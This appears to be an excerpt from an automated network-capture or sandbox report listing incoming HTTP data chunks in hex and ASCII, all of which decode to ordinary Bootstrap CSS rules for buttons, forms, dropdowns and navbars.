2021-10-25 16:17:23 UTC	128	IN	Data Raw: 6e 6c 69 6e 65 20 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 69 6e 70 75 74 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 66 6f Data Ascii: nline .form-check-input{position:relative;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.fo
2021-10-25 16:17:23 UTC	129	IN	Data Raw: 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 36 32 63 63 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 35 63 62 66 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 Data Ascii: #fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary
2021-10-25 16:17:23 UTC	130	IN	Data Raw: 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 34 30 2c 31 36 37 2c 36 39 2c 2e 35 29 7d 2e 62 74 6e 2d 73 75 63 63 65 73 73 2e 64 69 73 61 62 6c 65 64 2c 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 64 69 73 61 62 6c 65 64 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 38 61 37 34 35 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 38 61 37 34 35 7d 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 73 75 63 63 65 73 Data Ascii: hadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-succes
2021-10-25 16:17:23 UTC	132	IN	Data Raw: 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 35 35 2c 31 39 33 2c 37 2c 2e 35 29 7d 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 2e 64 69 73 61 62 6c 65 64 2c 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 3a 64 69 73 61 62 6c 65 64 7b 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 63 31 30 37 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 63 31 30 37 7d 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e Data Ascii: .focus,.btn-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.
2021-10-25 16:17:23 UTC	133	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 32 65 36 65 61 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 61 65 30 65 35 7d 2e 62 74 6e 2d 6c 69 67 68 74 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 6c 69 67 68 74 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 34 38 2c 32 34 39 2c 32 35 30 2c 2e 35 29 7d 2e 62 74 6e 2d 6c 69 67 68 74 2e 64 69 73 61 62 6c 65 64 2c 2e 62 74 6e 2d 6c 69 67 68 74 3a 64 69 73 61 62 6c 65 64 7b 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 38 66 39 66 61 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 38 66 39 66 61 7d 2e 62 74 6e 2d 6c 69 67 68 74 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 Data Ascii: kground-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.dis
2021-10-25 16:17:23 UTC	134	IN	Data Raw: 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 30 2c 31 32 33 2c 32 35 35 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 2e 64 69 73 61 62 6c 65 64 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 3a 64 69 73 61 62 6c 65 64 7b Data Ascii: -color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{
2021-10-25 16:17:23 UTC	136	IN	Data Raw: 6e 65 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 31 30 38 2c 31 31 37 2c 31 32 35 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 73 75 63 63 65 73 73 7b 63 6f 6c 6f 72 3a 23 32 38 61 37 34 35 3b 62 61 63 Data Ascii: ne-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;bac
2021-10-25 16:17:23 UTC	137	IN	Data Raw: 65 64 7b 63 6f 6c 6f 72 3a 23 31 37 61 32 62 38 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 69 6e 66 6f 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 69 6e 66 6f 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 69 6e 66 6f 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 37 61 32 62 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 37 61 32 62 38 7d 2e 62 Data Ascii: ed{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.b
2021-10-25 16:17:23 UTC	138	IN	Data Raw: 69 6d 61 67 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 63 33 35 34 35 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 6e 67 65 72 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 63 33 35 34 35 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 63 33 35 34 35 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 6e 67 65 72 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 6e 67 65 72 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 32 30 2c 35 33 2c 36 39 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 6e 67 65 72 2e 64 69 73 61 62 6c 65 64 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 6e 67 Data Ascii: image:none;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-dang
2021-10-25 16:17:23 UTC	140	IN	Data Raw: 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 6c 69 67 68 74 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 6c 69 67 68 74 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 34 38 2c 32 34 39 2c 32 35 30 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 72 6b 7b 63 6f 6c 6f 72 3a 23 33 34 33 61 34 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d Data Ascii: not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;background-color:transparent;background-im
2021-10-25 16:17:23 UTC	141	IN	Data Raw: 69 67 68 74 3a 31 2e 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 72 65 6d 7d 2e 62 74 6e 2d 67 72 6f 75 70 2d 73 6d 3e 2e 62 74 6e 2c 2e 62 74 6e 2d 73 6d 7b 70 61 64 64 69 6e 67 3a 2e 32 35 72 65 6d 20 2e 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 72 65 6d 7d 2e 62 74 6e 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 62 74 6e 2d 62 6c 6f 63 6b 2b 2e 62 74 6e 2d 62 6c 6f 63 6b 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 72 65 6d 7d 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2e 62 74 6e 2d 62 6c 6f 63 6b 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 2e 62 74 Data Ascii: ight:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].bt
2021-10-25 16:17:23 UTC	142	IN	Data Raw: 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 30 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 2e 33 65 6d 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 2e 33 65 6d 20 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 2e 33 65 6d 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 64 72 6f 70 75 70 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 65 6d 70 74 79 3a 3a 61 66 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 64 72 6f 70 72 69 67 68 74 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 31 32 35 72 65 6d 7d 2e 64 72 6f 70 72 69 67 68 74 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 3a 61 66 74 65 72 Data Ascii: ;border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after
2021-10-25 16:17:23 UTC	144	IN	Data Raw: 7d 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 3a 66 6f 63 75 73 2c 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 31 38 31 62 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 38 66 39 66 61 7d 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 2e 61 63 74 69 76 65 2c 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 3a 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 7d 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 2e 64 69 73 61 62 6c 65 64 2c 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 3a 64 69 73 61 62 6c 65 64 7b 63 6f 6c Data Ascii: }.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{col
2021-10-25 16:17:23 UTC	145	IN	Data Raw: 65 78 2d 73 74 61 72 74 7d 2e 62 74 6e 2d 74 6f 6f 6c 62 61 72 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 7b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 62 74 6e 2d 67 72 6f 75 70 3e 2e 62 74 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 62 74 6e 2d 67 72 6f 75 70 3e 2e 62 74 6e 2d 67 72 6f 75 70 3a 6e 6f 74 28 3a 6c 61 73 74 2d 63 68 69 6c 64 29 3e 2e 62 74 6e 2c 2e 62 74 6e 2d 67 72 6f 75 70 3e 2e 62 74 6e 3a 6e 6f 74 28 3a 6c 61 73 74 2d 63 68 69 6c 64 29 3a 6e 6f 74 28 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 29 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 62 74 6e 2d 67 72 6f 75 70 3e 2e 62 Data Ascii: ex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.b
2021-10-25 16:17:23 UTC	149	IN	Data Raw: 2d 62 6f 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 2e 33 37 35 72 65 6d 20 2e 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 63 6f 6c 6f 72 3a 23 34 39 35 30 35 37 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 39 65 63 65 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 65 64 34 64 61 3b 62 6f 72 64 65 72 2d 72 61 Data Ascii: -box-align:center;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-ra
2021-10-25 16:17:23 UTC	153	IN	Data Raw: 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 20 76 69 65 77 42 6f 78 3d 27 30 20 30 20 34 20 35 27 25 33 45 25 33 43 70 61 74 68 20 66 69 6c 6c 3d 27 25 32 33 33 34 33 61 34 30 27 20 64 3d 27 4d 32 20 30 4c 30 20 32 68 34 7a 6d 30 20 35 4c 30 20 33 68 34 7a 27 2f 25 33 45 25 33 43 2f 73 76 67 25 33 45 22 29 20 6e 6f 2d 72 65 70 65 61 74 20 72 69 67 68 74 20 2e 37 35 72 65 6d 20 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 38 70 78 20 31 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 65 64 34 64 61 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 61 70 70 65 Data Ascii: lns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right .75rem center;background-size:8px 10px;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appe
2021-10-25 16:17:23 UTC	154	IN	Data Raw: 38 30 30 30 0d 0a 3b 7a 2d 69 6e 64 65 78 3a 32 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 63 61 6c 63 28 32 2e 32 35 72 65 6d 20 2b 20 32 70 78 29 3b 6d 61 72 67 69 6e 3a 30 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 3a 66 6f 63 75 73 7e 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 63 6f 6e 74 72 6f 6c 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 38 30 62 64 66 66 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 30 2c 31 32 33 2c 32 35 35 2c 2e 32 35 29 7d 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 69 6e 70 75 74 3a 66 6f 63 75 73 7e 2e 63 75 73 74 6f 6d 2d 66 69 6c 65 2d 63 6f 6e 74 72 6f 6c 3a 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 38 30 62 Data Ascii: 8000;z-index:2;width:100%;height:calc(2.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-control{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:focus~.custom-file-control::before{border-color:#80b
2021-10-25 16:17:23 UTC	158	IN	Data Raw: 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 20 2e 6e 61 76 62 61 72 2d 6e 61 76 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 73 6d 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 64 72 6f 70 64 6f 77 6e Data Ascii: fy-content:flex-start}.navbar-expand-sm .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .dropdown
2021-10-25 16:17:23 UTC	162	IN	Data Raw: 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 2d 72 69 67 68 74 7b 72 69 67 68 74 3a 30 3b 6c 65 66 74 3a 61 75 74 6f 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 6e 61 76 2d 6c Data Ascii: it-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand .navbar-nav .nav-l
